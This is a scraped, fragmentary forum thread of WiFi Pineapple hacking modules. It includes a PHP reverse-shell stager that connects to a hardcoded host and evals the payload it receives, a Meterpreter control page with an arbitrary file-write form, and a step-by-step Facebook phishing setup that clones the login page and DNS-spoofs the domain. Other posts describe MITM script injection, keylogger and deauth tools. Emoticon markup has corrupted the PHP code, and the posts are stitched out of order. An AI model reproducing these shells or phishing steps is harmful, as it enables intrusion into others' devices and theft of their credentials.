My new module: a network manager for our pineapple.
This module give the ability to manage all wifi interfaces (e.g. connect to hotspot), internet sharing, etc.



Posted by Whistle Master
on 27 July 2012 - 04:42 PM
Posted by Darren Kitchen
on 14 June 2012 - 08:14 PM


<?php
error_reporting(0);
# The payload handler overwrites this with the correct LHOST before sending
# it to the victim.
$ip = '172.16.42.42';
$port = 4445;
$ipf = AF_INET;
if (FALSE !== strpos($ip, ":")) {
# ipv6 requires brackets around the address
$ip = "[". $ip ."]";
$ipf = AF_INET6;
}
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
$s = $f($ipf, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
} else {
die('no socket funcs');
}
if (!$s) { die('no socket'); }
switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) {
# We failed on the main socket. There's no way to continue, so
# bail
die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($<img src='http://forums.hak5.org/public/style_emoticons/default/cool.gif' class='bbc_emoticon' alt='B)' /> < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($<img src='http://forums.hak5.org/public/style_emoticons/default/cool.gif' class='bbc_emoticon' alt='B)' />); break;
case 'socket': $b .= socket_read($s, $len-strlen($<img src='http://forums.hak5.org/public/style_emoticons/default/cool.gif' class='bbc_emoticon' alt='B)' />); break;
}
}
# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
eval($<img src='http://forums.hak5.org/public/style_emoticons/default/cool.gif' class='bbc_emoticon' alt='B)' />;
die();
?>
<?php
if(isset($_GET['start'])) {
echo "<pre>Starting Meterpreter</pre>";
exec("/www/pineapple/modules/meterpreter/fork-meterpreter.sh");
// if (exec("ps aux | grep \"[s]tart-meterpreter.sh\"") == "") {
// exec("empty -f -i /tmp/meterpreter.in -o /tmp/meterpreter.out -p /tmp/meterpreter.pid -L /tmp/meterpreter.log /www/pineapple/modules/meterpreter/start-meterpreter.sh");
// } else {
// echo "<pre><b>Meterpreter already running</b></pre>";
// }
}
$filename = $_POST['filename'];
$newdata = $_POST['newdata'];
if ($newdata != "") { $newdata = ereg_replace(13, "", $newdata);
$fw = fopen($filename, 'w') or die('Could not open file!');
$fb = fwrite($fw,stripslashes($newdata)) or die('Could not write to file');
fclose($fw);
$fileMessage = "Updated " . $filename . "<br /><br />";
} ?>
<html>
<head>
<title>Pineapple Control Center</title>
<META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
<link rel="stylesheet" type="text/css" href="/pineapple/includes/styles.css" />
<link rel="icon" href="/pineapple/favicon.ico" type="image/x-icon">
<link rel="shortcut icon" href="/pineapple/favicon.ico" type="image/x-icon">
</head>
<body>
<?php
include_once("/www/pineapple/includes/navbar.php");
?>
<br><br>
<center>
<table width="50%">
<tr><td>
<div class=news>
<div class=moduleTitle><b>Configuration</b></div>
<div class=moduleContent>
Edit IP address and Port below to match that of your metasploit session.
<?php
$filename = "/www/pineapple/modules/meterpreter/tt.php";
$fh = fopen($filename, "r") or die("Could not open file!");
$data = fread($fh, filesize($filename)) or die("Could not read file!");
fclose($fh);
echo "<form action='$_SERVER[php_self]' method= 'post' >
<textarea name='newdata' rows='20' style='min-width:100%; background-color:black; color:white; border-style:dashed;'>$data</textarea>
<input type='hidden' name='filename' value='/www/pineapple/modules/meterpreter/tt.php'>
<br><center><input type='submit' value='Update Meterpreter Script'>
</form>";
?>
</div>
<br>
<div class=moduleTitle>Meterpreter Configuration</div>
<div class=moduleContent>
This keep alive script will restart the Meterpreter session if it drops connection.
</div>
</td></tr></table></center>
</body>
</html>
#!/bin/sh # ------------------------------------------------- # Simple keep alive script for meterpreter sessions # ------------------------------------------------- logger "Meterpreter: Keep-Alive Script Executed" if ! ( pidof php tt.php); then php /www/pineapple/modules/meterpreter/tt.php & logger "Meterpreter: Connection was down, restarted." else logger "Meterpreter: Connection seems to be up." fi
Posted by Whistle Master
on 19 December 2012 - 06:04 PM
Hi guys !
I wanted to share my current module project for the pineapple: a "man-in-the-middle" module ![]()
Features:
- based on mitmdump and extendable through python scripts
- log history
- helpers to install javascript
- editor to edit scripts
Scripts Sample:
- Simple_Alert.py -> Will trigger an alert to the user.
- BeEF.py -> This would actually replace the BeEF Helper module ![]()
- Upsidedown.py -> Will reverse all web page, nice for April fool day ![]()
- Snow_storm.py -> Will insert snow on all web page.
Posted by Foxtrot
on 10 March 2013 - 07:52 AM
Hey guys!
I present you, Automator!, A module that automates attacks such as Deauthing and Karma, Auto-Reaver and Auto-Aircrack, and more on the way! It asks you for a few options on each attacks then commences the attack.
Features :
-Automated attacks
-Install packages that are needed
-Add and Edit profiles for attacks
-Blackout Attacks - Disable all LEDs, enable stealth mode and select an attack!
Coming soon :
-Edit back-end scripts to suit your needs
-Add community attacks/automations to the module
-Auto-detect wifi cards
Sneak peak :
Posted by barry99705
on 28 October 2012 - 09:48 AM
Posted by newbi3
on 22 January 2013 - 07:18 PM
This is just some proof of concept code I have been working on and finally got to a good point. My thought behind this project is to give you a way to control your pineapple that doesn't look like you are a "hacker" or what ever. It just looks like you are texting your brother or girlfriend or what ever telling them to turn on the oven, or open the front door for you or something like that. When the pineapple receives a message that says something like "hey man open the front door for me, thanks" it turns on karma and sends a message back that says "Hey, the front door is open and don'y worry about it".
I will be releasing this code soon on here I just need to make it nice and pretty first and get some ideas from you guys first.
Here is a video of it in action:
(I completely forgot to show that karma turned on but just take my word for it that it did!)
Can a moderator please move this to the project section? Sorry, and thanks in advance!
Posted by digip
on 31 December 2012 - 11:13 PM
Posted by mondrianaire
on 12 November 2012 - 01:52 PM
Posted by Hackrylix
on 18 September 2012 - 06:36 AM
Posted by Darren Kitchen
on 18 July 2012 - 08:15 PM
Posted by Sebkinne
on 02 July 2012 - 06:12 PM
Posted by petertfm
on 28 April 2012 - 04:46 PM
I made a script that I run after a reflash and It has come in handy when I mess the pineapple up and have to re install firmware, was getting tired of inputting this manually.
pineapple-mk4-setup-script.sh
Version 3.2
#!/bin/sh
# Version 3.2
# This is a script for the pineapple mark 4 firmware 2.7.1 up, Newer firmware may break this script, Read through to add or comment out what you don't want.
# Run: chmod +x pineapple-mk4-setup-script.sh; ./pineapple-mk4-setup-script.sh
# It is assumed a USB drive with swap partition is unplugged and waiting to be inserted: http://forums.hak5.org/index.php?showtopic=25882&hl=swap&st=0
red='\e[0;31m'
lightRed='\e[1;31m'
green='\e[0;32m'
yellow='\e[0;33m'
cyan='\e[0;36m'
textReset='\e[m'
bold='\033[1m'
boldEnd='\033[0m'
uWhite='\e[4;37m'
appleSuccess=true
changeTimeZone=true
autoStartKarma=true
DNSSpoofLogsToUSB=true
changeSSID=true
changePineapplePort=true
stealthAutoStart=true
updateFSTabForSwap=true
useUSB=true # Please use one;-)
cleanUpUSB=true
logsToUSB=false
isThereInternet=true # Required for installing packages!!!
# All get installed to /usb/
installSSLStrip=true # Requires Internet
installTCPDump=true # Requires Internet
installNMap=true # Requires Internet
installReaver=true #Requires Internet
installMDK3=true #Requires Internet
changeRootPassword=true
newrootpassword='pineapplesareyummy'
newSSID='AndroidAP'
newPineapplePort=1471 # make sure it's above 1024
newTimeZone='PST8PDT' # PST8PDT America/Vancouver visit http://wiki.openwrt.org/doc/uci/system#time.zones for a list of time zones
newTimeZoneLocation='America/Vancouver' # Please be careful, do not put in the whole value IE "PST8PDT,M3.2.0,M11.1.0" just use the PST8PDT
# If you mess this up you may need to use serial connection to fix!!!
echo
echo -e $uWhite$bold'Pineapple Mark 4 setup script created by'$cyan' petertfm'$textReset
echo
echo
# Enable Apple Success to disable portal page popup when dnsspoofing with no internet:
if [ $appleSuccess = true ]; then
if [ -d /www/ ]; then
if [ ! -d /www/library/ ]; then
mkdir /www/library
if [ ! -d /www/library/test/ ]; then
mkdir /www/library/test
fi
fi
if [ ! -f /www/library/test/success.html ]; then
echo -e '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<TITLE>Success</TITLE>
</HEAD>
<BODY>
Success
</BODY>
</HTML>' > /www/library/test/success.html
fi
echo -e '/www/library/test/success.html Created: Tricks apple products to beleve there is internet when running dnsspoof.'
else
echo -e $lightRed'/www/ folder not found, most likely script needs to be updated, firmware may have changed'
fi
echo -e $textReset
fi
# Change Timezone:
if [ $changeTimeZone = true ]; then
if [ -f /etc/config/system ]; then
echo -e 'Changing TimeZone: '$yellow$newTimeZone$textReset' Location: '$yellow$newTimeZoneLocation
sed -i "s/option timezone.*/option timezone '"$newTimeZone"'/g" /etc/config/system
if [ -f /etc/rc.d/S98sysntpd ]; then
/etc/rc.d/S98sysntpd restart
else
echo -e $lightRed'/etc/rc.d/S98sysntpd file not found, most likely script needs to be updated, firmware may have changed'
fi
else
echo -e $lightRed'/etc/config/system file not found, most likely script needs to be updated, firmware may have changed'
fi
echo -e $textReset
fi
# AutoStart Karma
if [ $autoStartKarma = true ]; then
if [ -f /pineapple/karma/autoKarmaStart.php ]; then
php /pineapple/karma/autoKarmaStart.php > /dev/null
echo 'Karma AutoStart Enabled'
else
echo -e $lightRed'/pineapple/karma/autoKarmaStart.php file not found, most likely script needs to be updated, firmware may have changed'
fi
echo -e $textReset
fi
# DNSSpoof Logs to USB:
if [ $DNSSpoofLogsToUSB = true ]; then
if [ -f /pineapple/dnsspoof/dnsspoof.sh ]; then
echo -e '#!/bin/sh
if [ ! -d /usb/logs ]; then
mkdir /usb/logs
fi
if [ ! -d /usb/logs/DNSSpoof ]; then
mkdir /usb/logs/DNSSpoof
fi
if [ -b /dev/sda1 ]; then
MYPATH="/usb/logs/DNSSpoof/DNSSpoof-"
dnsspoofFile="null"
x=1
while :
do
dnsspoofFile=${MYPATH}${x}.log
if [ ! -f $dnsspoofFile ]; then
break
fi
x=$(( $x + 1 ))
done
if [ -f /usb/logs/DNSSpoof/DNSSpoof.log ]; then
md5=`md5sum /usb/logs/DNSSpoof/DNSSpoof.log`
if [ ${md5:0:32} != "9a13ce17b26d5d2e2e153584c2d7c8e8" ]; then
cp /usb/logs/DNSSpoof/DNSSpoof.log ${dnsspoofFile}
fi
fi
sed -i "s/$cmd = \\"cat logs\\/dnsspoof.log\\";.*/$cmd = \\"cat \\/usb\\/logs\\/DNSSpoof\\/DNSSpoof.log\\";/g" /pineapple/pages/logs.php
dnsspoof -i br-lan -f /pineapple/config/spoofhost > /dev/null 2> /usb/logs/DNSSpoof/DNSSpoof.log
else
sed -i "s/$cmd = \\"cat \\/usb\\/logs\\/DNSSpoof\\/DNSSpoof.log\\";.*/$cmd = \\"cat logs\\/dnsspoof.log\\";/g" /pineapple/pages/logs.php
dnsspoof -i br-lan -f /pineapple/config/spoofhost > /dev/null 2> /pineapple/logs/dnsspoof.log
fi' > /pineapple/dnsspoof/dnsspoof.sh
echo 'Installed DNSSpoof logs to usb by petertfm'
else
echo -e $lightRed'/pineapple/dnsspoof/dnsspoof.sh file not found, most likely script needs to be updated, firmware may have changed'
fi
echo -e $textReset
fi
# Changing SSID:
if [ $changeSSID = true ]; then
echo -e 'Changing SSID: '$yellow$newSSID
sed -i 's/option ssid.*/option ssid '$newSSID'/g' /etc/config/wireless
echo -e $textReset
fi
# Changing Pineapple UI Port:
if [ $changePineapplePort = true ]; then
echo -e 'Changing Pineapple UI Port: '$yellow$newPineapplePort
currentPort=`cat /etc/config/uhttpd | grep -i listen_http | grep -v listen_https | tail -n 1`
currentPortPos=`expr index "$currentPort" :`
port=${currentPort:$currentPortPos}
sed -i 's/'$port'/'$newPineapplePort'/g' /etc/config/uhttpd
echo -e $textReset
fi
# Enable Stealth:
if [ $stealthAutoStart = true ]; then
if [ -f /etc/rc.local ]; then
sed -i '/icmp_echo_ignore_all/d' /etc/rc.local
sed -i '/exit 0/d' /etc/rc.local
echo -e 'echo -e 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # Autostart Stealth mode
exit 0' >> /etc/rc.local
echo 'Stealth AutoStart Enabled'
else
echo -e $lightRed'/etc/rc.local file not found, most likely script needs to be updated, firmware may have changed'
fi
echo -e $textReset
fi
# Updating FStab(USB):
if [ $updateFSTabForSwap = true ]; then
if [ -f /etc/config/fstab ]; then
echo 'Updateing fstab for use with swap partition'
echo -e 'config global automount
option from_fstab 1
option anon_mount 1
config global autoswap
option from_fstab 1
option anon_swap 1
config mount
option target /usb
option device /dev/sda1
option fstype ext4
option options rw,sync
option enabled 1
option enabled_fsck 0
config swap
option device /dev/sda2
option enabled 1' > /etc/config/fstab
else
echo -e $lightRed'/etc/config/fstab file not found, most likely script needs to be updated, firmware may have changed'
echo -e $red'This script is outdated, Exiting...'
exit 1
fi
echo -e $textReset
fi
#
##
###
####
##### The rest of this script is mostly USB related with an exception to changing the root password
if [ $useUSB = true ]; then
echo
read -p 'Please Insert USB Drive then press ENTER!!!' nullVar
echo 'Sleeping 15 seconds, USB drive initializing.'
sleep 15
echo -e $textReset
if [ -b /dev/sda1 ]; then # The dev name of what gets mounted to /usb/
# Make swap:
if [ $updateFSTabForSwap = true ]; then
if [ -b /dev/sda2 ]; then
echo 'mkswap /dev/sda2, Swap may already have been made previously'
mkswap /dev/sda2
else
echo -e $lightRed'/dev/sda2 not found for swap!'
fi
echo -e $textReset
fi
# Starting fresh with pineapple created files/folders on USB, From a previous install/firmware.
if [ $cleanUpUSB = true ]; then
echo 'Removing folders on USB, In prep for fresh settings'
echo -e $yellow'(NOTE) Keep /usb/etc/ and /usb/usr/ to save previously installed OPKG packages'$textReset
if [ -d /usb/data/ ]; then
echo -n -e "Remove /usb/data/ "$cyan"(y)/n? "$textReset
read dataYesNo
if [[ "$dataYesNo" == '' ]]; then
dataYesNo='y'
fi
if [ $dataYesNo == 'y' ]; then
echo 'Removing: /usb/data/ TCPDump module is known to use this folder'
rm -r /usb/data/
fi
fi
if [ -d /usb/get/ ]; then
echo -n -e "Remove /usb/get/ "$cyan"(y)/n? "$textReset
read getYesNo
if [[ "$getYesNo" == '' ]]; then
getYesNo='y'
fi
if [ $getYesNo == 'y' ]; then
echo 'Removing: /usb/get/ get module is known to use this folder'
rm -r /usb/get/
fi
fi
if [ -d /usb/logs/ ]; then
echo -n -e "Remove /usb/logs/ "$cyan"(y)/n? "$textReset
read logsYesNo
if [[ "$logsYesNo" == '' ]]; then
logsYesNo='y'
fi
if [ $logsYesNo == 'y' ]; then
echo 'Removing: /usb/logs/'
rm -r /usb/logs/
fi
fi
if [ -d /usb/modules/ ]; then
echo -n -e "Remove /usb/modules/ "$cyan"(y)/n? "$textReset
read modulesYesNo
if [[ "$modulesYesNo" == '' ]]; then
modulesYesNo='y'
fi
if [ $modulesYesNo == 'y' ]; then
echo 'Removing: /usb/modules/'
rm -r /usb/modules/
fi
fi
if [ -d /usb/infusions/ ]; then
echo -n -e "Remove /usb/infusions/ "$cyan"(y)/n? "$textReset
read infusionsYesNo
if [[ "$infusionsYesNo" == '' ]]; then
infusionsYesNo='y'
fi
if [ $infusionsYesNo == 'y' ]; then
echo 'Removing: /usb/infusions/'
rm -r /usb/infusions/
fi
fi
if [ -d /usb/etc/ ]; then
echo -n -e "Remove /usb/etc/ "$cyan"(y)/n? "$textReset
read etcYesNo
if [[ "$etcYesNo" == '' ]]; then
etcYesNo='y'
fi
if [ $etcYesNo == 'y' ]; then
echo 'Removing: /usb/etc/'
rm -r /usb/etc/
fi
fi
if [ -d /usb/usr/ ]; then
echo -n -e "Remove /usb/usr/ "$cyan"(y)/n? "$textReset
read usrYesNo
if [[ "$usrYesNo" == '' ]]; then
usrYesNo='y'
fi
if [ $usrYesNo == 'y' ]; then
echo 'Removing: /usb/usr/'
rm -r /usb/usr/
fi
fi
if [ -d /usb/var/ ]; then
echo -n -e "Remove /usb/var/ "$cyan"(y)/n? "$textReset
read varYesNo
if [[ "$varYesNo" == '' ]]; then
varYesNo='y'
fi
if [ $varYesNo == 'y' ]; then
echo 'Removing: /usb/var/'
rm -r /usb/var/
fi
fi
echo -e $textReset
fi
# /logs/ folder to USB:
if [ $logsToUSB = true ]; then
if [ -d /pineapple/logs/ ]; then
# Moving logs folder to USB is experimental, After this change the usb drive must remain inserted at all times
echo 'Moving /pineapple/logs/ folder to /usb/logs/, and sym linking back to /pineapple/logs'
echo -e $yellow$bold'WARNING!!! from this point on the usb drive must be inserted at all times!'$boldEnd
mv /pineapple/logs/ /usb/
ln -s /usb/logs/ /pineapple/logs
echo 'To revert back: rm /pineapple/logs; mv /usb/logs/ /pineapple/'
else
echo -e $lightRed'/pineapple/logs folder not found, most likely script needs to be updated, firmware may have changed'
fi
echo -e $textReset
fi
# OPKG Update:
if [ $isThereInternet = true ]; then
opkg update
echo
echo -e $textReset
# Install SSLStrip:
if [ $installSSLStrip = true ]; then
# This will take a couple minutes to complete
echo 'Installing SSLStrip, This will take a moment to complete...'
opkg --dest usb install sslstrip
touch /usb/usr/lib/python2.7/site-packages/zope/__init__.py
echo
echo
echo -e $textReset
fi
# Install TCPDump:
if [ $installTCPDump = true ]; then
echo 'Installing TCPDump'
opkg --dest usb install tcpdump
echo
echo
echo -e $textReset
fi
# Install NMap:
if [ $installNMap = true ]; then
echo 'Installing NMap'
opkg --dest usb install nmap
echo
echo
echo -e $textReset
fi
# Install Reaver:
if [ $installReaver = true ]; then
echo 'Installing Reaver'
opkg --dest usb install reaver
echo
echo
echo -e $textReset
fi
# Install MDK3:
if [ $installMDK3 = true ]; then
echo 'Installing MDK3'
opkg --dest usb install mdk3
echo
echo
echo -e $textReset
fi
# Needed extras for packages installed to /usb/
if [ -d /usb/etc/ ]; then
echo 'Sym linking /usb/etc/* with /etc/'
ls /usb/etc/
ln -s /usb/etc/* /etc/
echo
fi
if [ -d /usb/usr/sbin/ ]; then
echo 'Sym linking /usb/usr/sbin/* with /usr/sbin/'
ls /usb/usr/sbin/
ln -s /usb/usr/sbin/* /usr/sbin/
echo
fi
if [ -d /usb/usr/share/ ]; then
echo 'Sym linking /usb/usr/share/* with /usr/share/'
ls /usb/usr/share/
ln -s /usb/usr/share/* /usr/share/
echo
fi
if [ -d /usb/usr/lib/ ]; then
echo 'Sym linking /usb/usr/lib/*.* with /usr/lib/'
ls /usb/usr/lib/
ln -s /usb/usr/lib/*.* /usr/lib/
echo
fi
if [ -d /usb/usr/include/ ]; then
if [ ! -d /usr/include/ ]; then
echo 'Making directory /usr/include'
mkdir /usr/include
fi
echo 'Sym linking /usb/usr/include/* with /usr/include/'
ls /usb/usr/include/
ln -s /usb/usr/include/* /usr/include/
fi
echo
echo
fi # End of Internet Functions
fi
fi
#####
####
###
##
# End of USB Functions
# Change root password:
if [ $changeRootPassword = true ]; then
echo -n -e "Change root password to:"$yellow$newrootpassword$cyan" (y)/n? "$textReset
read newPasswordYesNo
if [[ "$newPasswordYesNo" == '' ]]; then
newPasswordYesNo='y'
fi
if [ $newPasswordYesNo == 'y' ]; then
echo -e $newrootpassword'\n'$newrootpassword | passwd
echo -e 'New password for root: '$yellow$newrootpassword
echo -e $textReset'Warning if root password is lost serial connection is required!!!'
fi
echo
echo -e $textReset
fi
# Restart Pineapple UI Port:
if [ $changePineapplePort = true ]; then
echo -e $textReset'Rebooting uhttpd server...'
/etc/init.d/uhttpd restart
echo -e $textReset
fi
echo
echo
echo -e $cyan'Issue reboot to finish'$textReset
Read through to see what it is setting up. there are links to the files in the script or just comment out that stuff.
:-D
Posted by Whistle Master
on 18 March 2012 - 02:02 PM
Posted by madhak
on 02 February 2013 - 08:09 PM
I just got my pineapple a day ago, first thing I did right after testing its awesomeness was to replace the old dd-wrt linksys router from my WiFi Kit. Here's the result;
The Kit consist of the following parts;
- WiFi Pineapple MK4
- Ralink 300mW USB WiFi radio
- 3G Modem, Router, AP
- 4 port USB2.0 Hub
- WiSpy 2.4 spectrum analyzer
- WiSpy device finder (directional antenna)
- High gain patch directional antenna
- USB Bluetooth 2.0 dongle
- 32Gb USB Key device (USB SwissKnife 2.0 pictured)
- 12v 6000mAh LiPo battery
- 2000mW WiFi Booster (inside the accessory bag)
- 5v 3A UBEC (Voltage regulator)
- Accessory bag with different antenna, patch, cable and gender changer)
I get about 8h with everything on with the huge battery. It also has enough Amps to jump start a car (can always be useful if wardriving) ... The 2 directional antenna really work, I could leave it a few block away, for longer range there is a 2W booster in the accessory pouch but the battery would drain twice faster, plus the fact that transmitting at 2W require a HAM licence.
I’m planning to replace the Ralink radio for an Alpha. While the pineapple fully recognize the Ralink, it can’t perform Deauth and other function that the Alpha can do. Still, I can use it to connect to the Pineapple which can perform the more advanced function.
I’ll also replace the WiSpy with a Ubertooth because the WiSpy is not supported on the Pineapples. The Ubertooth will also replace the cheap USB Bluetooth dongle currently used. The Wispy and everything connected to the USB Hub can be connected to a laptop instead of the Pineapple so its not completely useless. There is also the HakRF project that look very interesting considering I work a lot with RF, not just WiFi.
The Kit can easily communicate with my Omega Kit trough the UART interface of the Pineapples but I don’t see many scenario where that would be needed.
Posted by Moriarty
on 31 December 2012 - 06:05 AM
Posted by airman_dopey
on 25 December 2012 - 02:57 PM
Posted by Sebkinne
on 26 November 2012 - 08:25 AM
Posted by loozr
on 12 September 2012 - 07:57 AM
action="https://www.facebook.com/login.php?login_attempt=1"7. Change the line into
action="error.php"8. Simply save the page.
Host name=172.16.42.1 User name=root Password=pineapplesareyummyAnd change the File Protocol to SCP. Now, to skip this step the next time you could save this information for later. It also asks you if you will ike to save the password, but it's recommended you don't.
ln -s /usb/phish/* /www/3. Now if you enter 172.16.42.1/facebook.htm in your browser a page similar to facebook.com should appear, if not check that you didn't miss any steps.
<?php
$ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$skipInclude = 0;
if (strpos($ref, "facebook")) { $phishFile = "facebook.htm";
} elseif (strpos($ref, "example")) { $phishFile = "example.htm";
} elseif (strpos($ref, "tricks")) { $phishFile = "tricks.htm";
} elseif (strpos($ref, "noname")) { $phishFile = "noname.htm";
} elseif (strpos($ref, "dork")) { $phishFile = "dork.htm";
} else { require('redirect.php');
$skipInclude = 1;
}
if ($skipInclude == 0) {
include($phishFile);
}
?>4. Of course, you don't need the example, tricks, noname, and dork, but this is just to illustrate how you could do with additional sites.172.16.42.1 *.facebook.com 172.16.42.1 example.com 172.16.42.1 tricks.com 172.16.42.1 noname.com 172.16.42.1 dork.com3. Hit Update spoofhost
Posted by Sebkinne
on 31 January 2013 - 11:34 AM
Hey everyone,
As you all know, Digininja and WhistleMaster have been working hard to bring you their Keylogger infusion.
This infusion is now ready and you will find it in your local Pineapple bar.
Seeing as this is a rather complex module, there are bound to be issues with it.
Some of the issues we know about, some we don't. We ask you to report any issues you are having / any bugs you are experiencing. Please do this in an ordered fashion. Read through the entire thread and see if your issue has already been reported. If so and you have more to add, please quote the issue and add your findings to it.
Please do not complain that something doesn't work. We are all working together to make this a great module, but please don't ask for ETAs.
Note that for the module to work you may need to run the 2.7.5 firmware. This is due to kernel dependencies of ebtables.
List of known issues upon release:
We are looking forward to your feedback and hope you enjoy this module! We will keep enhancing it's performance and reliability and try to iron out any issues found.
Posted by Whistle Master
on 20 January 2013 - 03:47 AM
Hi !
I wanted to share with the community my new module: Occupineapple
(Sounds familiar, isn't it
) This is indeed based on Darren’s idea (Darren, if you pass through, I'm interested to have your feedback / thoughts
)
Features:
- based on mdk3
- autostart
- Configuration (speed, channel)
- Choose SSID list to broadcast (if no list is specified, random SSIDs are broadcasted)
- SSID lists editor
- List can be with (*.mlist extension) or without MAC addresses (*.list extension)


